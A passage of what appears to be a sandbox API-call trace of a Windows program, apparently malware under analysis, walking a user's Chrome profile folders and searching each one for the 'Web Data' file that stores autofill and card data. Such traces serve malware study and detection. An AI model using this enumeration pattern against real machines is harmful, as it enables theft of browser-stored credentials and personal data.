(lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0078.351] lstrlenA (lpString="\\") returned 1 [0078.351] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0078.351] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.351] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.351] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0078.351] lstrlenA (lpString="data_reduction_proxy_leveldb") returned 28 [0078.351] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x650518 [0078.351] lstrcpyA (in: lpString1=0x650518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.351] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0078.351] LocalFree (hMem=0x650450) returned 0x0 [0078.351] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 91 [0078.351] lstrlenA (lpString="\\*.*") returned 4 [0078.351] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x650600 [0078.351] lstrcpyA (in: lpString1=0x650600, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0078.351] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*" [0078.351] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0078.408] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.409] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.409] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.409] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.409] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.409] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.409] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.409] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0078.409] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0078.409] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0078.410] LocalFree (hMem=0x650600) returned 0x0 [0078.410] LocalFree (hMem=0x650518) returned 0x0 [0078.410] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.410] lstrcmpiA (lpString1=".", lpString2="Extension Rules") returned -1 [0078.410] lstrcmpiA (lpString1="..", lpString2="Extension Rules") returned -1 [0078.410] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0078.410] lstrlenA (lpString="\\") returned 1 [0078.410] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0078.410] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.410] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.410] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0078.410] lstrlenA (lpString="Extension Rules") returned 15 [0078.410] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x6640d8 [0078.410] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.410] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension Rules" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0078.410] LocalFree (hMem=0x650450) returned 0x0 [0078.410] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 78 [0078.410] lstrlenA (lpString="\\*.*") returned 4 [0078.410] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b5e8 [0078.411] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0078.411] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*" [0078.411] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0078.436] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.436] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.437] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.437] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.437] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.437] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0078.437] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.437] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0078.437] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.437] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0078.437] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.437] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0078.437] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.437] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0078.437] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0078.437] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0078.438] LocalFree (hMem=0x65b5e8) returned 0x0 [0078.438] LocalFree (hMem=0x6640d8) returned 0x0 [0078.438] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.438] lstrcmpiA (lpString1=".", lpString2="Extension State") returned -1 [0078.438] lstrcmpiA (lpString1="..", lpString2="Extension State") returned -1 [0078.438] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0078.438] lstrlenA (lpString="\\") returned 1 [0078.438] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0078.438] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.438] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.438] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0078.438] lstrlenA (lpString="Extension State") returned 15 [0078.438] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x6640d8 [0078.438] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.438] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension State" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0078.438] LocalFree (hMem=0x650450) returned 0x0 [0078.438] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 78 [0078.438] lstrlenA (lpString="\\*.*") returned 4 [0078.438] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b5e8 [0078.438] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0078.438] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*" [0078.439] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0078.452] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.452] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.452] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.452] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.452] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.452] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.452] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.452] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0078.452] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0078.452] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0078.453] LocalFree (hMem=0x65b5e8) returned 0x0 [0078.453] LocalFree (hMem=0x6640d8) returned 0x0 [0078.453] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.453] lstrcmpiA (lpString1=".", lpString2="Extensions") returned -1 [0078.453] lstrcmpiA (lpString1="..", lpString2="Extensions") returned -1 [0078.453] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0078.453] lstrlenA (lpString="\\") returned 1 [0078.453] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0078.453] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.453] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.453] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0078.453] lstrlenA (lpString="Extensions") returned 10 [0078.453] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x6640d8 [0078.454] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.454] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extensions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0078.454] LocalFree (hMem=0x650450) returned 0x0 [0078.454] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 73 [0078.454] lstrlenA (lpString="\\*.*") returned 4 [0078.454] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x663a18 [0078.454] lstrcpyA (in: lpString1=0x663a18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0078.454] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*" [0078.454] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0078.458] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.458] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.458] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.458] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.458] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.458] lstrcmpiA (lpString1=".", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0078.458] lstrcmpiA (lpString1="..", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0078.458] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 73 [0078.458] lstrlenA (lpString="\\") returned 1 [0078.458] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x663af0 [0078.458] lstrcpyA (in: lpString1=0x663af0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0078.458] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0078.458] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 74 [0078.458] lstrlenA (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32 [0078.458] LocalAlloc (uFlags=0x40, uBytes=0xeb) returned 0x65e638 [0078.458] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0078.458] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0078.458] LocalFree (hMem=0x663af0) returned 0x0 [0078.458] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 106 [0078.458] lstrlenA (lpString="\\*.*") returned 4 [0078.458] LocalAlloc (uFlags=0x40, uBytes=0xef) returned 0x65e540 [0078.458] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0078.458] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*" [0078.458] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0078.470] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.470] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0078.470] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.470] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.470] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0078.470] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0078.470] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0078.470] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 106 [0078.470] lstrlenA (lpString="\\") returned 1 [0078.470] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x65e730 [0078.470] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0078.470] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0078.470] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned 107 [0078.471] lstrlenA (lpString="0.9_0") returned 5 [0078.471] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x650450 [0078.471] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0078.471] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0078.471] LocalFree (hMem=0x65e730) returned 0x0 [0078.471] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 112 [0078.471] lstrlenA (lpString="\\*.*") returned 4 [0078.471] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x650550 [0078.471] lstrcpyA (in: lpString1=0x650550, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0078.471] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*" [0078.471] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0078.485] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.485] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 